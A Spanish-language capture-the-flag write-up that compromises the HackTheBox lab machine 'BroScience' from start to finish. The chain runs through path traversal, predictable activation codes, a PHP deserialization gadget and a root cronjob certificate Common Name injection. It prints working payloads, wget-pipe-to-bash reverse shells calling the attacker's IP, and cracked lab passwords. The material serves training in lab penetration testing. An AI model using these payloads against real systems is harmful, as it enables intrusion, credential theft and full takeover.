Informacion de la Maquina
BroScience expone un sitio web vulnerable por el cual realizamos la lectura de su codigo fuente, con ello registramos un usuario e identificamos una vulnerabilidad de ‘Deserialization’ que nos permitio la creacion y ’ejecucion’ de archivos PHP para darnos acceso a la maquina. En la base de datos del sitio descubrimos hashes que nos permitieron acceder a un segundo usuario. Finalmente tras realizar ‘Command Injection’ en el Common Name de un certificado expirado que es utilizado por un script de un cronjob logramos escalar privilegios.
Recon
nmap
nmap muestra multiples puertos abiertos: http (80), https (443) y ssh (22).
1# Nmap 7.93 scan initiated Mon Mar 6 18:00:41 2023 as: nmap -p22,80,443 -sV -sC -oN nmap_scan 10.10.11.195
2Nmap scan report for 10.10.11.195
3Host is up (0.068s latency).
4
5PORT STATE SERVICE VERSION
622/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
7| ssh-hostkey:
8| 3072 df17c6bab18222d91db5ebff5d3d2cb7 (RSA)
9| 256 3f8a56f8958faeafe3ae7eb880f679d2 (ECDSA)
10|_ 256 3c6575274ae2ef9391374cfdd9d46341 (ED25519)
1180/tcp open http Apache httpd 2.4.54
12|_http-title: Did not follow redirect to https://broscience.htb/
13|_http-server-header: Apache/2.4.54 (Debian)
14443/tcp open ssl/http Apache httpd 2.4.54 ((Debian))
15| http-cookie-flags:
16| /:
17| PHPSESSID:
18|_ httponly flag not set
19| tls-alpn:
20|_ http/1.1
21|_http-title: BroScience : Home
22| ssl-cert: Subject: commonName=broscience.htb/organizationName=BroScience/countryName=AT
23| Not valid before: 2022-07-14T19:48:36
24|_Not valid after: 2023-07-14T19:48:36
25|_http-server-header: Apache/2.4.54 (Debian)
26|_ssl-date: TLS randomness does not represent time
27Service Info: Host: broscience.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
28
29Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
30# Nmap done at Mon Mar 6 18:01:01 2023 -- 1 IP address (1 host up) scanned in 19.87 secondsWeb Site
El sitio web redirige hacia el dominio broscience.htb.
1┌─[kirby@parrot]─[~/htb/broscience]
2└──╼ $curl -sI 10.10.11.195
3HTTP/1.1 301 Moved Permanently
4Date: Fri, 17 Feb 2023 16:51:59 GMT
5Server: Apache/2.4.54 (Debian)
6Location: https://broscience.htb/
7Content-Type: text/html; charset=iso-8859-1Se muestra una lista de articulos, en cada uno, se muestra el autor.

Se utilizan las imagenes como valor del parametro path a la pagina img.php.
1<div class="uk-card uk-card-default ">
2 <div class="uk-card-media-top">
3 <img src="includes/img.php?path=seated_rows.png" width="600" height="600" alt="">
4 </div>
5 <div class="uk-card-body">
6 <a href="exercise.php?id=3" class="uk-card-title">Seated Rows</a>
7 <p>If you want to target your lats, seated rows are a great exercise to do so. There are machines where... <a href="exercise.php?id=3">keep reading</a></p>
8 </div>
9 <div class="uk-card-footer">
10 <p class="uk-text-meta">Written by <a class="uk-link-text" href="user.php?id=2">bill</a> 9 months ago</p>
11 </div>
12</div>Creamos un wordlist con los cuatro autores en la lista de articulos.
1 π ~/htb/broscience ❯ curl -sk https://broscience.htb/ | grep user.php| cut -d '>' -f3 | tr -d '</'| sort -u | uniq > users.txt
2 π ~/htb/broscience ❯ cat users.txt
3administratora
4billa
5johna
6michaela
7 π ~/htb/broscience ❯Directory Brute Forcing
feroxbuster muestra multiples paginas y los ‘directorios’ /include, /images y /manual.
1┌─[kirby@parrot]─[~/htb/broscience/dotdotpwn]
2└──╼ $feroxbuster -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -u https://broscience.htb -k --depth 2 -x php
3
4 ___ ___ __ __ __ __ __ ___
5|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
6| |___ | \ | \ | \__, \__/ / \ | |__/ |___
7by Ben "epi" Risher 🤓 ver: 2.3.3
8───────────────────────────┬──────────────────────
9 🎯 Target Url │ https://broscience.htb
10 🚀 Threads │ 50
11 📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
12 👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
13 💥 Timeout (secs) │ 7
14 🦡 User-Agent │ feroxbuster/2.3.3
15 💉 Config File │ /etc/feroxbuster/ferox-config.toml
16 💲 Extensions │ [php]
17 🔓 Insecure │ true
18 🔃 Recursion Depth │ 2
19 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
20───────────────────────────┴──────────────────────
21 🏁 Press [ENTER] to use the Scan Cancel Menu™
22──────────────────────────────────────────────────
23301 9l 28w 319c https://broscience.htb/images
24200 147l 510w 0c https://broscience.htb/index.php
25200 42l 97w 1936c https://broscience.htb/login.php
26200 45l 104w 2161c https://broscience.htb/register.php
27200 29l 70w 1309c https://broscience.htb/user.php
28302 1l 3w 13c https://broscience.htb/comment.php
29301 9l 28w 321c https://broscience.htb/includes
30200 1l 4w 39c https://broscience.htb/includes/img.php
31301 9l 28w 319c https://broscience.htb/manual
32301 9l 28w 326c https://broscience.htb/manual/images
33301 9l 28w 322c https://broscience.htb/manual/en
34200 5l 14w 369c https://broscience.htb/includes/header.php
35301 9l 28w 322c https://broscience.htb/manual/de
36301 9l 28w 322c https://broscience.htb/manual/fr
37301 9l 28w 322c https://broscience.htb/manual/es
38301 9l 28w 323c https://broscience.htb/javascript
39302 0l 0w 0c https://broscience.htb/logout.php
40301 9l 28w 322c https://broscience.htb/manual/trEl ‘directorio’ /includes muestra multiples paginas .php, entre ellas img.php.

Web App
Al visitar cada una de las paginas encontramos que img.php espera el parametro path tal y como lo observamos anteriormente.

La respuesta del servidor parece intentar retornar una imagen.
1 π ~/htb/broscience ❯ curl -skI "https://broscience.htb/includes/img.php?path=something"
2HTTP/1.1 200 OK
3Date: Mon, 06 Mar 2023 23:16:13 GMT
4Server: Apache/2.4.54 (Debian)
5Content-Type: image/png
6
7 π ~/htb/broscience ❯Directory Traversal
Al intentar pasarle la direccion de un archivo completo nos muestra un mensaje.
1 π ~/htb/broscience ❯ curl -sk "https://broscience.htb/includes/img.php?path=../../../../../etc/passwd"
2<b>Error:</b> Attack detected.
3 π ~/htb/broscience ❯Utilizamos [dotdotpwn][https://github.com/wireghoul/dotdotpwn] que nos permite crear multiples ‘payloads’ para realizar directory traversal. Observamos que encontro un payload funcional para el archivo /etc/passwd.
1┌─[kirby@parrot]─[~/htb/broscience/dotdotpwn]
2└──╼ $./dotdotpwn.pl -m http-url -u https://broscience.htb/includes/img.php?path=TRAVERSAL -k "root:" -t .2 -q
3
4[.. snip ..]
5
6[========== TARGET INFORMATION ==========]
7[+] Hostname: broscience.htb
8[+] Protocol: https
9[+] Port: 443
10
11[=========== TRAVERSAL ENGINE ===========]
12[+] Creating Traversal patterns (mix of dots and slashes)
13[+] Multiplying 6 times the traversal patterns (-d switch)
14[+] Creating the Special Traversal patterns
15[+] Translating (back)slashes in the filenames
16[+] Adapting the filenames according to the OS type detected (unix)
17[+] Including Special sufixes
18[+] Traversal Engine DONE ! - Total traversal tests created: 11052
19
20[=========== TESTING RESULTS ============]
21[+] Ready to launch 5000.00 traversals per second
22[+] Press Enter to start the testing (You can stop it pressing Ctrl + C)
23
24[+] Replacing "TRAVERSAL" with the traversals created and sending
25. . . . . . . .
26[*] Testing URL: https://broscience.htb/includes/img.php?path=..%252f..%252f..%252f..%252fetc%252fpasswd <- VULNERABLE
27
28[*] Testing URL: https://broscience.htb/includes/img.php?path=..%252f..%252f..%252f..%252f..%252fetc%252fpasswd <- VULNERABLE
29
30[*] Testing URL: https://broscience.htb/includes/img.php?path=..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd <- VULNERABLE
31. . . . . . . . . . ^C
32[+] Total Traversals found: 3
33
34[.. snip ..]Observamos que retorna el contenido del archivo, en el archivo /etc/passwd encontramos al usuario bill.
1 π ~/htb/broscience ❯ curl -sk "https://broscience.htb/includes/img.php?path=..%252f..%252f..%252f..%252fetc%252fpasswd" | head
2root:x:0:0:root:/root:/bin/bash
3daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
4bin:x:2:2:bin:/bin:/usr/sbin/nologin
5sys:x:3:3:sys:/dev:/usr/sbin/nologin
6sync:x:4:65534:sync:/bin:/bin/sync
7games:x:5:60:games:/usr/games:/usr/sbin/nologin
8man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
9lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
10mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
11news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
12 π ~/htb/broscience ❯
13 π ~/htb/broscience ❯ curl -sk "https://broscience.htb/includes/img.php?path=..%252f..%252f..%252f..%252fetc%252fpasswd" |grep home
14bill:x:1000:1000:bill,,,:/home/bill:/bin/bash
15 π ~/htb/broscience ❯Reading Local Files
Con ello logramos obtener el codigo fuente de los archivos php dentro del directorio /includes y en el directorio ‘principal’. Observamos que existe un ‘filtro’ en el parametro path para los caracteres ../ y otras dos strings.
Encontramos credenciales en la conexion de la base de datos.
En el archivo navbar observamos que obtiene el nombre de la clase del tema (linea 6) y muestra el nombre de usuario, si esta o no logeado.
User, muestra la informacion de cada usuario segun el valor del parametro id.
Obseravamos la informacion del usuario con id 1 en el navegador.

Vemos en comment que, agrega un nuevo comentario a un post, verificando primero que el usuario este logeado.
En register observamos las validaciones del registro de un nuevo usuario, destaca la funcion de codigo de activacion (generate_activation_code()) al registrar un nuevo usuario, el cual se activa en la direccion https://broscience.htb/activate.php?code=<codigo>, el codigo de activacion es enviado aparentemente por email pero no se muestra alguna funcionalidad como esta.
Como se menciono, no se muestra el codigo de activacion al registrar un nuevo usuario.

Login, permite la autenticacion de los usuarios por medio de un formulario.
Activate, es el encargado de obtener un codigo de activacion, de ser correcto, activa al usuario con ese codigo. De no ser valido, muestra un mensaje de error, tal y como se muestra en la imagen.

En utils encontramos distintas funciones y clases:
- funciones
- generate_activation_code
- rel_time
- get_theme
- get_theme_class
- set_theme
- clases
- UserPrefs
- Avatar
- AvatarInterface
Activation_Code
Vemos que la funcion para el codigo de activacion, utiliza caracteres y digitos, el codigo de activacion tiene una longitud de 32 caracteres.
La funcion srand() toma como valor un entero, en este caso el valor de time(), en el ciclo for utiliza rand() para obtener un caracter “random”, el ciclo termina hasta crear una string de 32 caracteres y retornarlo.
Como se observa en la ejecucion, el codigo de activacion es diferente segun el valor de time(), sabiendo la hora exacta de la ejecucion de la funcion es posible generar el codigo de activacion.

Deserialization & Serialization
En las funciones set_theme() y get_theme() encontramos que utiliza las funciones de serialize() y unserialize().
- En la primera establece una nueva cookie (en el caso de que el usuario este logeado) en base64 serializando un objeto de la clase UserPrefs().
- En el segundo caso es similar, si observamos en la condicional verifica que no exista una cookie, en caso contrario, toma esta y la deserializa obteniendo el valor del tema.
En este ultimo caso es posible manipular la cookie y pasar un objeto serializado modificado.
Por ultimo tenemos las clases Avatar y AvatarInterface, las cuales permiten guardar un archivo en una direccion dada, con el uso de file_get_contents() es posible pasar una direccion URL. Tambien vemos la “magic function” __wakeup la cual se ejecuta cada vez que un objeto es deserializado, en este caso ejecuta la funcion save() para guardar un archivo.
Con lo anterior, es posible manipular una cookie que es deserializada y, con los objetos Avatar y AvatarInterface crear un archivo, al juntar estos dos nos permitiria realizar “deserialization attack”.
User - www-data
Como sabemos durante la ceracion de un usuario es necesario activar la cuenta, pero el codigo de activacion nunca se nos muestra o envia. Para generar nuestro codigo es necesario sincronizar la hora de nuestra maquina con la del servidor.
Clock synchro
Creamos un script en python el cual obtiene la fecha de la maquina a partir de una solicitud GET al servidor, cambiamos la fecha de nuestra maquina con la fecha de la respuesta de la solicitud.
1import requests, subprocess, urllib3
2from datetime import datetime
3from dateutil.parser import parse as parsedate
4urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
5
6r = requests.get('https://10.10.11.195',verify=False)
7new_date = parsedate(r.headers["Date"]).strftime("%Y/%m/%d %H:%M:%S")
8
9print("Site date:", new_date)
10print("Current date:", datetime.now().strftime("%Y/%m/%d %H:%M:%S"))
11
12subprocess.Popen(['sudo','/usr/bin/date', '-s', f'{new_date}'],
13 stdin=subprocess.PIPE,
14 stdout=subprocess.PIPE,
15 stderr=subprocess.PIPE)
16
17print("New Date: ", datetime.now().strftime("%Y/%m/%d %H:%M:%S"))Nota: tomar en cuenta la zona horaria del servidor: sudo timedatectl set-timezone GMT
Activation code
Utilizamos la misma funcion para generar una lista de codigos, con un segundo de intervalo.
1<?php
2
3function generate_activation_code() {
4 $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
5 srand(time());
6 $activation_code = "";
7 for ($i = 0; $i < 32; $i++) {
8 $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
9 }
10 return $activation_code;
11}
12
13//echo "\n";
14for($i =0; $i < 2000; $i++){
15 sleep(1);
16 echo generate_activation_code() . "\n";
17}User Auth
Creamos un usuario, y, durante el proceso ejecutamos el archivo anterior creando un wordlist de codigos. Vemos que el usuario bob se creo.


Vemos la creacion de los codigos, al finalizar la creacion del usuario cancelamos.
1┌─[✗]─[kirby@parrot]─[~/htb/broscience]
2└──╼ $php code.php
32023-02-17 23-04-11:000000 : 8d0Uahz3sn5vwo6knP90mE5z6khCrMQl
42023-02-17 23-04-12:000000 : QQXXPxDx8A4VGS8AqYHdMh6fFdDXtt6X
52023-02-17 23-04-13:000000 : RLGiSd8AHtcnExYx6ejXPqIfecuFpxjo
62023-02-17 23-04-14:000000 : mzblJRICzcIbJ0uKPhDUUPQTxLF1TUgW
72023-02-17 23-04-15:000000 : rtDa7oInQtZmGNsrYxUjyvMzKnwXXRRa
82023-02-17 23-04-16:000000 : HAs3SBxamBSD6jmTQxu7vdthRCPsspKg
92023-02-17 23-04-17:000000 : xNRonvn3K6e0zi6f02P02iQ3p4pKGHCk
102023-02-17 23-04-18:000000 : sS1Czn1YuRKXQP4vof8PRl9FF9F2BvVm
112023-02-17 23-04-19:000000 : fUe8bBcEBFHV17uHMoZKiImMZ0nURnL6
122023-02-17 23-04-20:000000 : FyTM56WqhOrrtdrgUU90mbZiWgwlOMpN
132023-02-17 23-04-21:000000 : gO2nqz2BiGH5bJdklwPZ1dCpZMez6OrH
14^CIntentamos con los codigos que generamos hasta encontrar el que active nuestra cuenta.

Ingresamos con las credenciales correctamente.

Deserialization Attack
Si observamos el valor actual de la cookie, representa el objeto UserPrefs().
1# Cookie
2user-prefs=Tzo5OiJVc2VyUHJlZnMiOjE6e3M6NToidGhlbWUiO3M6NDoiZGFyayI7fQ%3D%3D
3
4# Decodificado, Serializado
5O:9:"UserPrefs":1:{s:5:"theme";s:4:"dark";}Utilizamos el codigo de la clase Avatar y AvatarInterface para serializar y codificar en base64. En este caso estariamos creando el archivo abc.php con el contenido de un archivo en un servidor http.
1<?php
2class Avatar {
3 public $imgPath;
4
5 public function __construct($imgPath) {
6 $this->imgPath = $imgPath;
7 }
8
9 public function save($tmp) {
10 $f = fopen($this->imgPath, "w");
11 fwrite($f, file_get_contents($tmp));
12 fclose($f);
13 }
14}
15
16class AvatarInterface {
17 public $tmp="http://10.10.14.207/abc.php";
18 public $imgPath="abc.php";
19
20 public function __wakeup() {
21 $a = new Avatar($this->imgPath);
22 $a->save($this->tmp);
23 }
24}
25echo base64_encode(serialize(new AvatarInterface()));El archivo contiene la ejecucion de echo con un mensaje.
1<?php
2echo "from hell to heaven";Creamos un servidor HTTP con python para nuestro archivo abc.php.
1┌─[kirby@parrot]─[~/htb/broscience/www]
2└──╼ $cat abc.php
3<?php
4echo "from hell to heaven";
5┌─[kirby@parrot]─[~/htb/broscience/www]
6└──╼ $ sudo python3 -m http.server 80
7Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...Luego generamos nuestro objeto serializado con la información necesaria para crear el archivo abc.php en la máquina.

Tras generar una nueva cookie y utilizarla en el sitio, obtuvimos una solicitud al archivo.
1┌─[✗]─[kirby@parrot]─[~/htb/broscience/www]
2└──╼ $sudo python3 -m http.server 80
3[sudo] password for kirby:
4Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
510.10.11.195 - - [17/Feb/2023 23:33:50] "GET /abc.php HTTP/1.0" 200 -
610.10.11.195 - - [17/Feb/2023 23:33:50] "GET /abc.php HTTP/1.0" 200 -
710.10.11.195 - - [17/Feb/2023 23:33:50] "GET /abc.php HTTP/1.0" 200 -Observamos que nuestro archivo PHP se creo y ejecutó correctamente.
1┌─[kirby@parrot]─[~/htb/broscience/www]
2└──╼ $curl -sk https://broscience.htb/abc.php && echo
3from hell to heaven
4┌─[kirby@parrot]─[~/htb/broscience/www]
5└──╼ $Shell
Generamos nuevamente una cookie esta vez con la ejecucion de una shell inversa.

Nuestro archivo shell con el siguiente comando, al mismo tiempo ejecutamos shells.
1<?php
2$cmd = shell_exec("ls -lah && wget -qO- http://10.10.14.207:8081/10.10.14.207:1335|bash");
3echo $cmd;Logrando obtener una shell como www-data.
1┌─[kirby@parrot]─[~/htb/broscience/www]
2└──╼ $rlwrap nc -lvp 1335
3listening on [any] 1335 ...
4connect to [10.10.14.207] from broscience.htb [10.10.11.195] 48496
5/bin/sh: 0: can't access tty; job control turned off
6$ which python
7$ which python3
8/usr/bin/python3
9$ python3 -c 'import pty;pty.spawn("/bin/bash");'
10www-data@broscience:/var/www/html$ whoami;id;pwd
11www-data
12uid=33(www-data) gid=33(www-data) groups=33(www-data)
13/var/www/html
14www-data@broscience:/var/www/htmlUser - Bill
Localmente utilizamos las credenciales de la conexion de base de datos, encontramos una lista de hashes de los usuarios registrados.
1www-data@broscience:/dev/shm$ psql -h localhost --username=dbuser -d broscience -W # RangeOfMotion%777
2<sername=dbuser -d broscience -W # RangeOfMotion%777
3Password:
4
5psql (13.9 (Debian 13.9-0+deb11u1))
6SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
7Type "help" for help.
8
9broscience=> \dt
10WARNING: terminal is not fully functional
11- (press RETURN)
12 public | comments | table | postgres
13 public | exercises | table | postgres
14 public | users | table | postgres
15
16(END)q
17broscience=> \d users
18WARNING: terminal is not fully functional
19- (press RETURN)
20 id | integer | | not null | generated a
21lways as identity
22 username | character varying(100) | | not null |
23 password | character varying(100) | | not null |
24 email | character varying(100) | | not null |
25 activation_code | character varying(32) | | not null |
26 is_activated | boolean | | | false
27 is_admin | boolean | | | false
28 date_created | timestamp with time zone | | | CURRENT_TIM
29ESTAMP
30
31q
32broscience=>
33broscience=> select * from users;
34WARNING: terminal is not fully functional
35- (press RETURN)
36 1 | administrator | 15657792073e8a843d4f91fc403454e1 | administrator@broscience.htb | OjYUyL9R4NpM9LOFP0T4Q4NUQ9PNpLHf | t | t | 2019-03-07
3702:02:22.226763-05
38 2 | bill | 13edad4932da9dbb57d9cd15b66ed104 | bill@broscience.htb | WLHPyj7NDRx10BYHRJPPgnRAYlMPTkp4 | t | f | 2019-05-07
3903:34:44.127644-04
40 3 | michael | bd3dad50e2d578ecba87d5fa15ca5f85 | michael@broscience.htb | zgXkcmKip9J5MwJjt8SZt5datKVri9n3 | t | f | 2020-10-01
4104:12:34.732872-04
42 4 | john | a7eed23a7be6fe0d765197b1027453fe | john@broscience.htb | oGKsaSbjocXb3jwmnx5CmQLEjwZwESt6 | t | f | 2021-09-21
4311:45:53.118482-04
44 5 | dmytro | 5d15340bded5b9395d5d14b9c21bc82b | dmytro@broscience.htb | 43p9iHX6cWjr9YhaUNtWxEBNtpneNMYm | t | f | 2021-08-13
4510:34:36.226763-04
46(END)
47(END)
48q
49broscience=>Cracking the Hash
Utilizamos el formato de John para crackear los hashes. En este caso dynamic_4 (Ref. 1 2), si observamos el hash md5 generado en el registro de usuarios (register.php).
1# md5($db_salt . $_POST['password'])
2administrator:15657792073e8a843d4f91fc403454e1$NaCl
3bill:13edad4932da9dbb57d9cd15b66ed104$NaCl
4michael:bd3dad50e2d578ecba87d5fa15ca5f85$NaCl
5john:a7eed23a7be6fe0d765197b1027453fe$NaCl
6dmytro:5d15340bded5b9395d5d14b9c21bc82b$NaClObservamos que el formato este en la lista de formatos de john.
1┌─[kirby@parrot]─[~/htb/broscience]
2└──╼ $john --list=subformats |grep md5 | head
3Format = dynamic_0 type = dynamic_0: md5($p) (raw-md5)
4Format = dynamic_1 type = dynamic_1: md5($p.$s) (joomla)
5Format = dynamic_2 type = dynamic_2: md5(md5($p)) (e107)
6Format = dynamic_3 type = dynamic_3: md5(md5(md5($p)))
7Format = dynamic_4 type = dynamic_4: md5($s.$p) (OSC)
8Format = dynamic_5 type = dynamic_5: md5($s.$p.$s)
9Format = dynamic_6 type = dynamic_6: md5(md5($p).$s)
10Format = dynamic_8 type = dynamic_8: md5(md5($s).$p)
11Format = dynamic_9 type = dynamic_9: md5($s.md5($p))
12Format = dynamic_10 type = dynamic_10: md5($s.md5($s.$p))Al ejecutar john sobre los hashes observamos tres en texto plano.
1┌─[kirby@parrot]─[~/htb/broscience]
2└──╼ $john --format=dynamic_4 hashes --wordlist=/usr/share/wordlists/rockyou.txt
3Using default input encoding: UTF-8
4Loaded 5 password hashes with no different salts (dynamic_4 [md5($s.$p) (OSC) 256/256 AVX2 8x3])
5Remaining 4 password hashes with no different salts
6Warning: no OpenMP support for this hash type, consider --fork=4
7Press 'q' or Ctrl-C to abort, almost any other key for status
8iluvhorsesandgym (bill)
9Aaronthehottest (dmytro)
102applesplus2apples (michael)
112g 0:00:00:01 DONE (2023-02-18 00:45) 1.626g/s 11659Kp/s 11659Kc/s 42910KC/s !!alex!!mil!!..*7¡Vamos!
12Use the "--show --format=dynamic_4" options to display all of the cracked passwords reliably
13Session completedShell
Utilizando las contraseñas ingresamos por SSH con el usuario bill, realizando la lectura de nuestra flag user.txt.
1┌─[kirby@parrot]─[~/htb/broscience]
2└──╼ $ssh bill@broscience.htb # iluvhorsesandgym
3bill@broscience.htb's password:
4Linux broscience 5.10.0-20-amd64 #1 SMP Debian 5.10.158-2 (2022-12-13) x86_64
5
6The programs included with the Debian GNU/Linux system are free software;
7the exact distribution terms for each program are described in the
8individual files in /usr/share/doc/*/copyright.
9
10Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
11permitted by applicable law.
12Last login: Fri Feb 17 17:43:24 2023 from 10.10.14.89
13bill@broscience:~$ ls
14Certs Desktop Documents Downloads Music Pictures Public Templates Videos user.txt
15bill@broscience:~$ cat user.txt
16bb7107c1c936442b4921ca3ce0fbf93f
17bill@broscience:~$Privesc
Tras ejecutar pspy observamos la ejecucion del script renew_cert.sh sobre un certificado con nombre broscience.crt, como root.
12023/02/17 20:05:55 CMD: UID=117 PID=26800 | postgres: 13/main: autovacuum worker template1
22023/02/17 20:06:01 CMD: UID=0 PID=26801 | /usr/sbin/CRON -f
32023/02/17 20:06:01 CMD: UID=0 PID=26802 | /bin/sh -c /root/cron.sh
42023/02/17 20:06:01 CMD: UID=0 PID=26804 | timeout 10 /bin/bash -c /opt/renew_cert.sh /home/bill/Certs/broscience.crt
52023/02/17 20:06:01 CMD: UID=0 PID=26803 | /bin/bash /root/cron.sh
62023/02/17 20:06:01 CMD: UID=0 PID=26805 | /bin/bash /opt/renew_cert.sh /home/bill/Certs/broscience.crt
72023/02/17 20:06:15 CMD: UID=117 PID=26808 | postgres: 13/main: autovacuum worker broscience
82023/02/17 20:06:35 CMD: UID=117 PID=26809 | postgres: 13/main: autovacuum workerEl script obtiene los atributos del certificado, en caso de expirar en las proximas 24 horas crea uno nuevo.
1#!/bin/bash
2
3if [ "$#" -ne 1 ] || [ $1 == "-h" ] || [ $1 == "--help" ] || [ $1 == "help" ]; then
4 echo "Usage: $0 certificate.crt";
5 exit 0;
6fi
7
8if [ -f $1 ]; then
9
10 openssl x509 -in $1 -noout -checkend 86400 > /dev/null
11
12 if [ $? -eq 0 ]; then
13 echo "No need to renew yet.";
14 exit 1;
15 fi
16
17 subject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-)
18
19 country=$(echo $subject | grep -Eo 'C = .{2}')
20 state=$(echo $subject | grep -Eo 'ST = .*,')
21 locality=$(echo $subject | grep -Eo 'L = .*,')
22 organization=$(echo $subject | grep -Eo 'O = .*,')
23 organizationUnit=$(echo $subject | grep -Eo 'OU = .*,')
24 commonName=$(echo $subject | grep -Eo 'CN = .*,?')
25 emailAddress=$(openssl x509 -in $1 -noout -email)
26
27 country=${country:4}
28 state=$(echo ${state:5} | awk -F, '{print $1}')
29 locality=$(echo ${locality:3} | awk -F, '{print $1}')
30 organization=$(echo ${organization:4} | awk -F, '{print $1}')
31 organizationUnit=$(echo ${organizationUnit:5} | awk -F, '{print $1}')
32 commonName=$(echo ${commonName:5} | awk -F, '{print $1}')
33
34 echo $subject;
35 echo "";
36 echo "Country => $country";
37 echo "State => $state";
38 echo "Locality => $locality";
39 echo "Org Name => $organization";
40 echo "Org Unit => $organizationUnit";
41 echo "Common Name => $commonName";
42 echo "Email => $emailAddress";
43
44 echo -e "\nGenerating certificate...";
45 openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /tmp/temp.crt -days 365 <<<"$country
46 $state
47 $locality
48 $organization
49 $organizationUnit
50 $commonName
51 $emailAddress
52 " 2>/dev/null
53
54 /bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
55else
56 echo "File doesn't exist"
57 exit 1;Command Injection
Si observamos, cuando se crea un nuevo certificado toma literal el valor de commonName del certificado, en este caso podriamos inyectar comandos para que se ejecuten.
1/bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"Generamos un certificado ya expirado, utilizando el comando faketime (Ref. 1) donde agregamos un comando a ejecutar en el commo name.
1┌─[kirby@parrot]─[~/htb/broscience/www]
2└──╼ $faketime '2008-12-24 08:15:42' openssl req -x509 -sha256 -nodes -days 1 -newkey rsa:2048 -keyout privateKey.key -out broscience.crt
3Generating a RSA private key
4...........+++++
5...........................................................................................+++++
6writing new private key to 'privateKey.key'
7-----
8You are about to be asked to enter information that will be incorporated
9into your certificate request.
10What you are about to enter is what is called a Distinguished Name or a DN.
11There are quite a few fields but you can leave some blank
12For some fields there will be a default value,
13If you enter '.', the field will be left blank.
14-----
15Country Name (2 letter code) [AU]:da
16State or Province Name (full name) [Some-State]:da
17Locality Name (eg, city) []:da
18Organization Name (eg, company) [Internet Widgits Pty Ltd]:fd
19Organizational Unit Name (eg, section) []:df
20Common Name (e.g. server FQDN or YOUR name) []:$(cat /root/root.txt >/tmp/root.txt)
21Email Address []:dafsdfObservamos el comando en el common name.
1┌─[kirby@parrot]─[~/htb/broscience/www]
2└──╼ $openssl x509 -in broscience.crt -noout -subject
3subject=C = da, ST = da, L = da, O = fd, OU = df, CN = "$(cat /root/root.txt >/tmp/root.txt)", emailAddress = dafsdfTras esperar unos segundos observamos que se ejecuto nuestro comando.
12023/02/17 20:58:02 CMD: UID=0 PID=27674 | /bin/bash /opt/renew_cert.sh /home/bill/Certs/broscience.crt
22023/02/17 20:58:02 CMD: UID=0 PID=27677 | openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /tmp/temp.crt -days 365
32023/02/17 20:58:04 CMD: UID=0 PID=27680 | /bin/bash -c mv /tmp/temp.crt /home/bill/Certs/"$(cat /root/root.txt >/tmp/root.txt)".crt
42023/02/17 20:58:04 CMD: UID=0 PID=27679 | /bin/bash -c mv /tmp/temp.crt /home/bill/Certs/"$(cat /root/root.txt >/tmp/root.txt)".crt
52023/02/17 20:58:04 CMD: UID=0 PID=27678 | /bin/bash -c mv /tmp/temp.crt /home/bill/Certs/"$(cat /root/root.txt >/tmp/root.txt)".crtVemos el archivo root.txt en el directorio /tmp.
1bill@broscience:~/Certs$ ls -lah /tmp/
2total 3.9M
3drwxrwxrwt 18 root root 4.0K Feb 17 21:02 .
4drwxr-xr-x 19 root root 4.0K Jan 2 04:50 ..
5drwxrwxrwt 2 root root 4.0K Feb 17 15:22 .ICE-unix
6drwxrwxrwt 2 root root 4.0K Feb 17 15:22 .Test-unix
7[.. snip ..]
8-rwxr-xr-x 1 bill bill 3.0M Dec 26 17:21 pspy64
9-rw-r--r-- 1 root root 33 Feb 17 21:02 root.txt
10drwx------ 3 root root 4.0K Feb 17 15:22 systemd-private-fce4cfc7c070458d89f20a1b40cfa57e-ModemManager.service-u6xz6g
11[.. snip ..]
12drwx------ 2 root root 4.0K Feb 17 15:23 vmware-root_549-4248811676
13bill@broscience:~/Certs$ cat /tmp/root.txt
147de4c6b32d386c2c39d48dee2ddfefd
15bill@broscience:~/Certs$Shell
Creamos nuevamente un certificado, esta vez con la ejecucion de una shell inversa.
1$(wget -qO- http://10.10.14.207:8081/10.10.14.207:1335 | bash)Tras unos segundo obtuvimos una shell como root y nuevamente, la flag root.txt.
1┌─[kirby@parrot]─[~/htb/broscience/www]
2└──╼ $rlwrap nc -lvp 1335
3listening on [any] 1335 ...
4connect to [10.10.14.207] from broscience.htb [10.10.11.195] 57684
5/bin/sh: 0: can't access tty; job control turned off
6# python3 -c 'import pty;pty.spawn("/bin/bash");'
7root@broscience:~# ls
8cron.sh dbreset.sh init.sql root.txt webapp webappreset.sh
9root@broscience:~# cat root.txt
107de4c6b32d386c2c39d48dee2ddfefd3
11root@broscience:~#
